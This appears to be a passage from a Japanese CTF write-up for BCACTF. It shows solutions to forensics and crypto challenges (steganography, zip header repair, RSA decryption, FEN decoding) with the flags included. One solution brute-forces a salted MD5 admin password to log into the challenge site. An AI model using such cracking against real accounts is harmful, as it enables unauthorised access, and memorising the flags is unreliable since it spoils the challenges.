11111101110111011111101111011101101111111111111111111111111111111
11111101110111011111101111101011101111111111111111111111111111111
11011101110111011111101111101011110111101111111111111111111111111
11100011111000111111101111110111111000011111111111111111111111111
11111111111111111111101111111111111111111111111111111111111111111
11111111111111111100011111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11110011111000111000000111001111111111111111111111111111111111111
11101111110111011101111011110111111111111111111111111111111111111
11101111110111011101111011110111111111111111111111111111111111111
11000011110111011101111011110111111111111111111111111111111111111
11101111111000011100000111110111111111111111111111111111111111111
11101111111111011101111111111001111111111111111111111111111111111
11101111111111011101111111110111111111111111111111111111111111111
11101111111110111101111111110111111111111111111111111111111111111
11000011111001111000011111110111111111111111111111111111111111111
11111111111111111111111111110111111111111111111111111111111111111
11111111111111111111111111001111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111

少し読みにくいので別の文字に置換する。

                                                                 
 ##                                                              
  #                                                              
  #                                                              
  #####   #####   ####    #####                                  
  #    # #     #      #  #     #                                 
  #    # #        #####  #                                       
  #    # #       #    #  #                                       
  #    # #     # #    #  #     #                                 
 ######   #####   #### #  #####                                  
                                                                 
                                                                 
                                                                 
                                                                 
            ##       ##  ######    ###   #######                 
   #       #        #     #    #  #   #  #  #  #   #             
   #       #        #     #    #      #     #      #             
  ####    ####      #     #    #      #     #     ####           
   #       #        #     #####     ##      #      #             
   #       #      ##      #    #      #     #      #             
   #       #        #     #    #      #     #      #             
   #  #    #        #     #    #  #   #     #      #  #          
    ##    ####      #    ######    ###     ###      ##           
                    #                                            
                     ##                                          
                                                                 
                                                                 
   ###                                                           
  #   #                    #                                     
      #                    #                                     
      #  ### ##           ####                                   
    ##     ##  #           #                                     
      #    #               #                                     
      #    #               #                                     
  #   #    #               #  #                                  
   ###   #####              ##                                   
                                                                 
                ########                                         
                                                                 
                                                                 
 ### ###     #   ##  ###                           ####          
  #   #     ##    #   #                           #    #         
  #   #     ##    ##  #                          #               
  #   #    # #    ##  #          ######  ## ##   #               
  #####    # #    # # #           #    #  ##  #  #               
  #   #   #  #    #  ##           #    #  #   #  #   ###         
  #   #   #####   #  ##           #    #  #   #  #     #         
  #   #      #    #   #           #    #  #   #   #    #         
 ### ###    ###  ###  #           #####  ### ###   ####          
                                  #                              
                        ######## ###                    ######## 
                                                                 
                                                                 
  #####     ##       #             ####                          
  #        #                      #    #                         
  #       #                      #                               
  #       #       ####   ### ### #                               
  ####    ####       #    #   #  #                               
      #   #   #      #    #   #  #                               
      #   #   #      #     # #   #                               
  #   #   #   #      #     # #    #    #                         
   ###     ###       #      #      ####                          
                     #                                           
                  ###                                            
                                                                 
                                                                 
    ##     ###   ######   ##                                     
   #      #   #   #    #    #                                    
   #      #   #   #    #    #                                    
  ####    #   #   #    #    #                                    
   #       ####   #####     #                                    
   #          #   #          ##                                  
   #          #   #         #                                    
   #         #    #         #                                    
  ####     ##    ####       #                                    
                            #                                    
                          ##                                     
                                                                 
                                                                 
bcac
tf{B3Tt
3r_t
H4N_pnG_
56jvC
f9P}
bcactf{B3Tt3r_tH4N_pnG_56jvCf9P}

Gerbert's Secret (foren 150)

$ zsteg zgerberts.png 
b1,g,lsb,xy         .. text: "4u%)3XSS"
b1,rgb,lsb,xy       .. text: "#bcactf{g3rb3rt_w4s_4_bu11fr0g_2139}V75"
b1,bgr,msb,xy       .. text: "8n8q}ReK"
b1,abgr,msb,xy      .. text: "u?Uu]y5W3u"
b4,r,lsb,xy         .. text: "C4f3D35fUxC$x"
b4,g,lsb,xy         .. text: "1!2B3SVc%T56"
b4,b,lsb,xy         .. text: "t$a$UcvG"
b4,rgb,msb,xy       .. text: "55W5V#sVcQV"
b4,bgr,msb,xy       .. text: "5U76%SvcSV"
b4,rgba,lsb,xy      .. text: "vOy/zOmo9"
b4,abgr,msb,xy      .. text: "_S_7oS/So7oSo"
bcactf{g3rb3rt_w4s_4_bu11fr0g_2139}

Zoinked Zip 1 (foren 150)

zipファイルが壊れているので、先頭4バイトを50 4b 03 04に修正する。zipを解凍すると、flag.txtが展開される。このファイルを見ると、ファイルが書いてあった。

bcactf{w0w_h34d3r5_4r3_r3411y_1mp0rt4nt}

New Keyboard (crypto 50)

https://awsm-tools.com/text/keyboard-layoutを使って、DvorakからQwertyに変換する。

It turns out this keyboard uses the Dvorak layout! It really messes up my muscle memory. The flag is bcactf{k3yb0ard_lay0u7_chang3up_qwerty}
bcactf{k3yb0ard_lay0u7_chang3up_qwerty}

Hidden Frequencies (crypto 100)

同じ文字がいくつか続いた後また別の文字がいくつか続くということが繰り返されている。同じ文字の文字数がASCIIコードになっていると推測し、文字にする。

#!/usr/bin/env python3
with open('msg.txt', 'r') as f:
    data = f.read()

flag = ''
cur = 'a'
count = 0
for d in data:
    if d != cur:
        flag += chr(count)
        cur = d
        count = 1
    else:
        count += 1
flag += chr(count)

print(flag)
bcactf{ch4r4ct3r_fr3qu3ncy_15_50_c00l_55aFejnb}

Really Secure Algorithm (crypto 100)

p, qの値がわかっているので、通常通り復号する。ただし、復号した値はそのまま文字列化してもフラグにはならない。数値文字列を適度に切り、ASCIIコードとしてデコードする。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('file.txt', 'r') as f:
    params = f.read().splitlines()

c = int(params[0].split('=')[1])
p = int(params[1].split('=')[1])
q = int(params[2].split('=')[1])
e = int(params[3].split('=')[1])

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, p * q)

m = str(m)
flag = ''
code = ''
for i in range(len(m)):
    code += m[i]
    if int(code) > 31 and int(code) < 127:
        flag += chr(int(code))
        code = ''
print(flag)
bcactf{w311_th15_15_aWkWard_Fbahu8d3}

Chessy (crypto 125)

FENについて調べると、チェスの駒の位置を表していることがわかる。1行が一つの盤面で、"/"区切りで盤面の上から配置を表していて、数字が何も置かれていないマスの数を表している。何か置かれているマスを1、何も置かれていないマスを0として、盤面の下から上にデコードしていく。

#!/usr/bin/env python3
from string import *

def code_to_bin(s):
    b = ''
    for c in s:
        if c in digits:
            b += '0' * int(c)
        else:
            b += '1'
    return b

with open('FEN.txt', 'r') as f:
    params = f.read().splitlines()

flag = ''
for i in range(len(params)):
    for raw in params[i].split('/')[::-1]:
        b = code_to_bin(raw)
        flag += chr(int(b, 2))

print(flag)
bcactf{3n_pa5sen7_ch3ckm4t3_92aj32lm9ui}

Funky Factors (crypto 150)

nを素因数分解する。

$ python -m primefac 2451500972944572751067639135542724911455699735389455909239072706748572836232480252074031400797211301593443375562946962694274273077543664039604383719893091628336430360455909687693258270869995548362038438414271398400407702884883827901471304659858249570873108083356722001678236438255333957918061509916855914316124827985975637
2451500972944572751067639135542724911455699735389455909239072706748572836232480252074031400797211301593443375562946962694274273077543664039604383719893091628336430360455909687693258270869995548362038438414271398400407702884883827901471304659858249570873108083356722001678236438255333957918061509916855914316124827985975637: 25854458289211 94819274320962195588391046032702062340347787753861707917333803643013756112498232723436129143357983211782575094016538160601055922810359418391115604418400747711916131212069247930840360588635198701990348690076607422776450913659984003956055504691820691172367804759436721489067099363705442358971393631085988763567

素因数分解できたので、通常通り復号する。ただし、復号した値はそのまま文字列化してもフラグにはならない。数値文字列を適度に切り、ASCIIコードとしてデコードする。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('file.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split('=')[1])
e = int(params[1].split('=')[1])
c = int(params[2].split('=')[1])

p = 25854458289211
q = 94819274320962195588391046032702062340347787753861707917333803643013756112498232723436129143357983211782575094016538160601055922810359418391115604418400747711916131212069247930840360588635198701990348690076607422776450913659984003956055504691820691172367804759436721489067099363705442358971393631085988763567
assert n == p * q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)

m = str(m)
flag = ''
code = ''
for i in range(len(m)):
    code += m[i]
    if int(code) > 31 and int(code) < 127:
        flag += chr(int(code))
        code = ''
print(flag)
bcactf{w0w_f4ct0r1ng_l3g3nd_hAUebf29}

Salty (crypto 150)

hoge / hogeでアカウントを作成すると、Debugテーブルには以下のように表示される。

Password Hash:95139197ccc36a4dfafc5ac7d92f80ee
Salt:KCl-e5833
>>> hashlib.md5(b'hogeKCl-e5833').hexdigest()
'95139197ccc36a4dfafc5ac7d92f80ee'

パスワード+ソルトでハッシュ値を出している。adminのパスワードは英小文字+数字の4桁で以下のことがわかっている。

Password Hash:d54b5632cd3f90c9e911742e46a4ce2d
Salt:NaCl-2d42e

以上からブルートフォースでadminのパスワードを求める。

#!/usr/bin/env python3
import hashlib
import string
import itertools

chars = string.digits + string.ascii_lowercase
salt = b'NaCl-2d42e'
pwd_h = 'd54b5632cd3f90c9e911742e46a4ce2d'

for c in itertools.product(chars, repeat=4):
    pwd = ''.join(c)
    if hashlib.md5(pwd.encode() + salt).hexdigest() == pwd_h:
        print(pwd)
        break

実行結果は以下の通り。

bca4

admin / bca4でログインすると、フラグが表示された。

bcactf{1_10v3_5a1ty_h@5h_br0wn5_3749}

Survey (misc 25)

アンケートに答えたら、フラグが表示された。

bcactf{s33_y0U_n3xT_y34R_jf4NP9}